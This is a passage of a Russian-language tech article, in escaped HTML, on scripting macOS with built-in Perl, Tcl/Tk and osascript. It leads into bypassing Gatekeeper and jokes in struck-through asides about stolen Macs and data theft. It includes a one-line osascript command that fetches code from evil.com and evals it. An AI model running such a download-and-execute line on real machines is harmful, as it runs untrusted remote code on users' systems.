<\/p>\n<p>\u0420\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f \u044d\u0442\u043e \u0441\u0442\u0430\u0440\u0430\u044f \u0434\u043e\u0431\u0440\u0430\u044f 5\u044f \u0432\u0435\u0440\u0441\u0438\u044f (\u0434\u0430 \u044d\u0442\u043e \u0448\u0443\u0442\u043a\u0430 \u0434\u043b\u044f \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043d\u044b\u0445): <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6ea\/2e9\/af9\/6ea2e9af9390a55089ffaffce9b66418.png\" width=\"697\" height=\"483\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6ea\/2e9\/af9\/6ea2e9af9390a55089ffaffce9b66418.png\"\/><\/figure>\n<p>\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0432\u00a0MacOS Perl \u043d\u0435\u00a0\u0441\u043e\u0432\u0441\u0435\u043c \u043e\u0431\u044b\u0447\u043d\u044b\u0439\u00a0\u2014 \u0432\u00a0\u043d\u0435\u043c \u0441\u0440\u0430\u0437\u0443 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043c\u043e\u0434\u0443\u043b\u0438 Foundation \u0438 <a href=\"https:\/\/www.manpagez.com\/man\/3\/PerlObjCBridge\/\" rel=\"noopener noreferrer nofollow\">PerlObjCBridge<\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441\u00a0\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0430\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Objective-C\" rel=\"noopener noreferrer nofollow\">Objective\u2011C<\/a> \u0438 API \u0441\u0430\u043c\u043e\u0439 MacOS \u0438\u0437 <em>\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u043d\u0430\u00a0Perl<\/em>. <\/p>\n<p>\u041d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u044e, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u0438\u0437 \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0435 \u0432 \u043a\u0443\u0440\u0441\u0435: <\/p>\n<blockquote>\n<p>\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430\u00a0Objective-C \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u00a0\u2014 <a href=\"https:\/\/developer.apple.com\/library\/archive\/documentation\/Cocoa\/Conceptual\/ObjectiveC\/Chapters\/ocObjectsClasses.html\" rel=\"noopener noreferrer nofollow\">\u0441\u043e\u0431\u044b\u0442\u0438\u044f<\/a>.<\/p>\n<\/blockquote>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u0438\u043c \u043c\u043e\u0434\u0443\u043b\u044f\u043c \u0443\u00a0\u0432\u0430\u0441 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043b\u0435\u0437\u0442\u044c \u043d\u0430\u00a0\u044d\u0442\u043e\u0442 \u043f\u0440\u0430\u0437\u0434\u043d\u0438\u043a \u0436\u0438\u0437\u043d\u0438 \u0438\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u043d\u0430 Perl.<\/p>\n<p>\u0414\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438:<\/p>\n<pre><code class=\"perl\">#!\/usr\/bin\/perl  use Foundation;      $s1 = NSString-&gt;stringWithCString_(\"Hello \"); $s2 = NSString-&gt;alloc()-&gt;initWithCString_(\"World\"); $s3 = $s1-&gt;stringByAppendingString_($s2); printf \"%s\\n\", $s3-&gt;cStri&gt;cString();<\/code><\/pre>\n<p>\u0410 \u0432\u043e\u0442 \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u0438 \u0445\u043e\u0441\u0442\u0430:<\/p>\n<pre><code class=\"perl\">#!\/usr\/bin\/perl use Foundation; $hostName = NSProcessInfo-&gt;processInfo()-&gt;hostName();  printf \"%s\\n\", $hostName-&gt;cString();<\/code><\/pre>\n<p>\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u0432 \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0435\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c:<\/p>\n<blockquote>\n<p>This version of PerlObjCBridge does not directly support writing GUI Cocoa applications in Perl.<\/p>\n<\/blockquote>\n<p>\u0417\u0430\u0442\u043e \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u0443\u0440\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439<a href=\"https:\/\/stackoverflow.com\/questions\/14425220\/perl-http-server#14440365\" rel=\"noopener noreferrer nofollow\"> \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 HTTP-\u0441\u0435\u0440\u0432\u0435\u0440<\/a>:<\/p>\n<pre><code class=\"perl\">#!\/usr\/bin\/perl  use strict; use warnings;  use CGI qw\/ :standard \/; use Data::Dumper; use HTTP::Daemon; use HTTP::Response; use HTTP::Status; use POSIX qw\/ WNOHANG \/;  use constant HOSTNAME =&gt; qx{hostname};  my %O = (     'listen-host' =&gt; '127.0.0.1',     'listen-port' =&gt; 8080,     'listen-clients' =&gt; 30,     'listen-max-req-per-child' =&gt; 100, );  my $d = HTTP::Daemon-&gt;new(     LocalAddr =&gt; $O{'listen-host'},     LocalPort =&gt; $O{'listen-port'},     Reuse =&gt; 1, ) or die \"Can't start http listener at $O{'listen-host'}:$O{'listen-port'}\";  print \"Started HTTP listener at \" . $d-&gt;url . \"\\n\";  my %chld;  if ($O{'listen-clients'}) {     $SIG{CHLD} = sub {         # checkout finished children         while ((my $kid = waitpid(-1, WNOHANG)) &gt; 0) {             delete $chld{$kid};         }     }; }  while (1) {     if ($O{'listen-clients'}) {         # prefork all at once         for (scalar(keys %chld) .. $O{'listen-clients'} - 1 ) {             my $pid = fork;              if (!defined $pid) { # error                 die \"Can't fork for http child $_: $!\";             }             if ($pid) { # parent                 $chld{$pid} = 1;             }             else { # child                 $_ = 'DEFAULT' for @SIG{qw\/ INT TERM CHLD \/};                 http_child($d);                 exit;             }         }          sleep 1;     }     else {         http_child($d);     }  }  sub http_child {     my $d = shift;      my $i;     my $css = &lt;&lt;CSS;         form { display: inline; } CSS      while (++$i &lt; $O{'listen-max-req-per-child'}) {         my $c = $d-&gt;accept or last;         my $r = $c-&gt;get_request(1) or last;         $c-&gt;autoflush(1);          print sprintf(\"[%s] %s %s\\n\", $c-&gt;peerhost, $r-&gt;method, $r-&gt;uri-&gt;as_string);          my %FORM = $r-&gt;uri-&gt;query_form();          if ($r-&gt;uri-&gt;path eq '\/') {             _http_response($c, { content_type =&gt; 'text\/html' },                 start_html(                     -title =&gt; HOSTNAME,                     -encoding =&gt; 'utf-8',                     -style =&gt; { -code =&gt; $css },                 ),                 p('Here are all input parameters:'),                 pre(Data::Dumper-&gt;Dump([\\%FORM],['FORM'])),                 (map { p(a({ href =&gt; $_-&gt;[0] }, $_-&gt;[1])) }                     ['\/', 'Home'],                     ['\/ping', 'Ping the simple text\/plain content'],                     ['\/error', 'Sample error page'],                     ['\/other', 'Sample not found page'],                 ),                 end_html(),             )         }         elsif ($r-&gt;uri-&gt;path eq '\/ping') {             _http_response($c, { content_type =&gt; 'text\/plain' }, 1);         }         elsif ($r-&gt;uri-&gt;path eq '\/error') {             my $error = 'AAAAAAAAA! My server error!';             _http_error($c, RC_INTERNAL_SERVER_ERROR, $error);             die $error;         }         else {             _http_error($c, RC_NOT_FOUND);         }          $c-&gt;close();         undef $c;     } }  sub _http_error {     my ($c, $code, $msg) = @_;      $c-&gt;send_error($code, $msg); }  sub _http_response {     my $c = shift;     my $options = shift;      $c-&gt;send_response(         HTTP::Response-&gt;new(             RC_OK,             undef,             [                 'Content-Type' =&gt; $options-&gt;{content_type},                 'Cache-Control' =&gt; 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0',                 'Pragma' =&gt; 'no-cache',                 'Expires' =&gt; 'Thu, 01 Dec 1994 16:00:00 GMT',             ],             join(\"\\n\", @_),         )     ); }<\/code><\/pre>\n<p>\u0421\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u0434\u0435\u0432\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0447\u0438\u0441\u0442\u043e\u0439 MacOS, \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/950\/6eb\/2cb\/9506eb2cbfa2785323270bcb04c561cf.png\" width=\"1919\" height=\"981\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/950\/6eb\/2cb\/9506eb2cbfa2785323270bcb04c561cf.png\"\/><\/figure>\n<p>\u0414\u0430\u0436\u0435 \u044d\u0442\u043e\u0439 \u0441\u0442\u043e\u043b\u044c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0445\u0432\u0430\u0442\u0438\u0442 \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0438\u0435 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f <s>\u0438 \u0432\u043e\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435<\/s>.<\/p>\n<h3>Tcl \u0438 Tk<\/h3>\n<p>\u0414\u0435\u0434\u0443\u0448\u043a\u0430 <s>\u0438 \u0431\u0430\u0431\u0443\u0448\u043a\u0430<\/s> \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\u044b\u0445 \u044f\u0437\u044b\u043a\u043e\u0432, <a href=\"https:\/\/vanderburg.org\/old_pages\/Tcl\/war\/\" rel=\"noopener noreferrer nofollow\">\u043d\u0435\u043d\u0430\u0432\u0438\u0434\u0438\u043c\u044b\u0439 \u043b\u0438\u0447\u043d\u043e \u0421\u0442\u043e\u043b\u043b\u043c\u0430\u043d\u043e\u043c<\/a> \u043f\u0440\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0443\u0441\u043f\u0435\u043b \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c <a href=\"https:\/\/teletype.in\/@alex0x08\/about-tcl-language\" rel=\"noopener noreferrer nofollow\">\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e<\/a>. <\/p>\n<p>\u0418\u0437\u00a0\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u0434\u043b\u044f <s>\u043f\u0440\u043e\u043b\u0435\u0442\u0430\u0440\u0438\u0435\u0432 \u043e\u0442\u00a0\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438<\/s>, \u043d\u0435\u00a0\u0432\u043b\u0430\u0434\u0435\u044e\u0449\u0438\u0445 \u044d\u0442\u0438\u043c \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u044f\u0437\u044b\u043a\u043e\u043c, \u043e\u0442\u043c\u0435\u0447\u0443, \u0447\u0442\u043e\u00a0\u0432\u00a0MacOS \u043e\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u00ab\u0438\u0437 \u043a\u043e\u0440\u043e\u0431\u043a\u0438\u00bb \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441\u00a0\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c\u00a0\u2014 \u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0434\u0438\u0430\u043b\u043e\u0433\u0438, \u043a\u043d\u043e\u043f\u043a\u0438, \u0441\u043f\u0438\u0441\u043a\u0438 \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435 <strong>\u0431\u0435\u0437\u00a0\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438<\/strong>, \u0431\u0435\u0437\u00a0\u043a\u0430\u043a\u0438\u0445\u2011\u043b\u0438\u0431\u043e \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a, SDK \u0438\u043b\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u0432.<\/p>\n<p>\u0412\u043e\u0442 \u0442\u0430\u043a \u0434\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 <a href=\"https:\/\/wiki.tcl-lang.org\/page\/A+little+calculator\" rel=\"noopener noreferrer nofollow\">\u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0438\u0439 \u043a\u0430\u043b\u044c\u043a\u0443\u043b\u044f\u0442\u043e\u0440<\/a>:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/7fb\/07a\/632\/7fb07a6325467ee2c7580dcce3220ea2.png\" width=\"1919\" height=\"981\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/7fb\/07a\/632\/7fb07a6325467ee2c7580dcce3220ea2.png\"\/><\/figure>\n<p>\u0420\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u044d\u0442\u043e\u0433\u043e \u044f\u0437\u044b\u043a\u0430: \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0441\u0435\u0442\u044c\u044e, \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u044e\u043d\u0438\u043a\u043e\u0434\u043e\u043c \u0438 <a href=\"https:\/\/wiki.tcl-lang.org\/\" rel=\"noopener noreferrer nofollow\">\u0432\u0441\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c<\/a>. \u041d\u043e \u044d\u0442\u043e \u0446\u0432\u0435\u0442\u043e\u0447\u043a\u0438, \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0433\u043b\u0430\u0432\u043d\u043e\u0439 \u0438\u043c\u0431\u043e\u0439 \u0434\u043b\u044f \u0442\u0432\u043e\u0440\u0435\u043d\u0438\u044f \u0432\u0441\u044f\u043a\u043e\u0433\u043e \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0438 \u043d\u0435\u0445\u043e\u0440\u043e\u0448\u0435\u0433\u043e.<\/p>\n<h3>AppleScript<\/h3>\n<p>\u041d\u0430\u0447\u043d\u0443 \u0441<a href=\"https:\/\/ru.wikipedia.org\/wiki\/AppleScript\" rel=\"noopener noreferrer nofollow\"> \u0446\u0438\u0442\u0430\u0442\u044b<\/a>:<\/p>\n<blockquote>\n<p><strong>AppleScript<\/strong> \u2014 \u044f\u0437\u044b\u043a \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 <a href=\"https:\/\/ru.wikipedia.org\/wiki\/Apple\" rel=\"noopener noreferrer nofollow\">Apple<\/a> \u0438 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0432 <a href=\"https:\/\/ru.wikipedia.org\/wiki\/MacOS\" rel=\"noopener noreferrer nofollow\">macOS<\/a>, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 System 7.<\/p>\n<\/blockquote>\n<p>\u0418\u00a0\u043f\u0443\u0441\u0442\u044c \u0432\u0430\u0441 \u043d\u0435\u00a0\u0441\u043c\u0443\u0449\u0430\u044e\u0442 \u0441\u043b\u043e\u0432\u0430 \u00ab\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439\u00bb \u0438\u00a0\u00ab\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\u00bb, \u044d\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0441\u0442\u0440\u0430\u0448\u043d\u0430\u044f \u0448\u0442\u0443\u043a\u0430 \u0432\u00a0\u0443\u043c\u0435\u043b\u044b\u0445 \u0440\u0443\u043a\u0430\u0445.<\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<pre><code class=\"bash\">osascript -l JavaScript -i eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('https:\/\/evil.com\/evil')),$.NSUTF8StringEncoding )) );<\/code><\/pre>\n<p>\u0422\u0443\u0442 \u0432\u0441\u0435 \u0441\u0440\u0430\u0437\u0443 \u0445\u043e\u0440\u043e\u0448\u043e \u0434\u043b\u044f \u0437\u043d\u0430\u044e\u0449\u0438\u0445 \u0438\u00a0\u0432\u043b\u0430\u0434\u0435\u044e\u0449\u0438\u0445: <\/p>\n<blockquote>\n<p>\u0432\u00a0\u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0438\u00a0\u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0441\u00a0\u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u043e\u043c Javascript.<\/p>\n<\/blockquote>\n<p>osascript\u00a0\u2014 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440 \u0434\u043b\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 AppleScript, \u043a\u043b\u044e\u0447 -l \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u043d\u0430\u00a0\u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 Javascript, -i \u044d\u0442\u043e interactive mode, \u043e\u0434\u043d\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442.<\/p>\n<p>\u0410\u00a0<a href=\"https:\/\/developer.apple.com\/documentation\/foundation\/nsstring\" rel=\"noopener noreferrer nofollow\">NSString<\/a>, <a href=\"https:\/\/developer.apple.com\/documentation\/foundation\/nsdata\" rel=\"noopener noreferrer nofollow\">NSData<\/a> \u0438\u00a0<a href=\"https:\/\/developer.apple.com\/documentation\/foundation\/nsurl\" rel=\"noopener noreferrer nofollow\">NSURL<\/a>\u00a0\u2014 \u0443\u0436\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b.<\/p>\n<p>\u0412\u043e\u0442 \u0442\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u043e\u043f\u043e\u0432\u0435\u0449\u0435\u043d\u0438\u0435 \u0438\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u0430:<\/p>\n<pre><code class=\"bash\">osascript -e 'display notification \"\" with title \"test\"'<\/code><\/pre>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430\u00a0\u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u00a0\u2014 \u044d\u0442\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 <a href=\"https:\/\/developer.apple.com\/library\/archive\/documentation\/AppleScript\/Conceptual\/AppleScriptLangGuide\/conceptual\/ASLR_fundamentals.html\" rel=\"noopener noreferrer nofollow\">AppleScript<\/a>. <\/p>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432\u043e\u0442 \u0442\u0430\u043a:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/28a\/4ac\/64d\/28a4ac64d05d13f10c2a10dd9210b3ab.png\" width=\"1425\" height=\"515\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/28a\/4ac\/64d\/28a4ac64d05d13f10c2a10dd9210b3ab.png\"\/><\/figure>\n<p>\u041d\u043e\u00a0\u043d\u0430\u00a0\u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0432\u0441\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435\u00a0\u2014 \u043c\u0435\u043b\u043e\u0447\u0438, \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0431\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0432\u043e\u043e\u0431\u0449\u0435\u043c-\u0442\u043e <strong>\u0441\u043b\u043e\u0436\u043d\u043e \u0438\u00a0\u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u043e<\/strong>.<\/p>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043d\u0430\u043a\u043e\u043d\u0435\u0446 \u043a \u00ab\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435\u00bb \u0438 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c\u0443 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e. <\/p>\n<p>\u041d\u043e\u00a0\u043f\u0440\u0435\u0436\u0434\u0435 \u0440\u0435\u0448\u0438\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0441\u00a0\u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0440\u0430\u0437\u043e\u0439, \u043c\u0435\u0448\u0430\u044e\u0449\u0435\u0439 \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e\u0439 \u0436\u0438\u0437\u043d\u0438 \u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0447\u0435\u0441\u0442\u043d\u044b\u0445 \u043b\u044e\u0434\u0435\u0439, <s>\u043d\u0430\u00a0\u0432\u043e\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043c\u0430\u043a\u0435 \u0438 \u0431\u0435\u0437\u00a0\u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430<\/s>.<\/p>\n<h3>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0431\u0435\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432<\/h3>\n<p>\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 MacOS \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u0445\u0442\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0434\u0438\u0447\u044c \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <a href=\"https:\/\/support.apple.com\/guide\/security\/gatekeeper-and-runtime-protection-sec5599b66df\/web\" rel=\"noopener noreferrer nofollow\">Gatekeeper<\/a>:<\/p>\n<blockquote>\n<p>macOS includes a technology called Gatekeeper, that&#8217;s designed to ensure that only trusted software runs on your Mac.<\/p>\n<p>The safest place to get apps for your Mac is the <a href=\"https:\/\/support.apple.com\/kb\/HT204266#computer\" rel=\"noopener noreferrer nofollow\">App Store<\/a>. Apple reviews each app in the App Store before it\u2019s accepted and signs it to ensure that it hasn\u2019t been tampered with or altered. If there\u2019s ever a problem with an app, Apple can quickly remove it from the store.<\/p>\n<\/blockquote>\n<p>\u041a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u00a0\u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u0442\u0435 \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a, \u0441\u043a\u0440\u0438\u043f\u0442 \u0438\u043b\u0438 \u0430\u0440\u0445\u0438\u0432 \u0438\u0437\u00a0\u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0438\u00a0\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u00a0\u2014 \u0443\u0432\u0438\u0434\u0438\u0442\u0435 \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0435 \u0441\u0442\u0440\u0430\u0448\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" 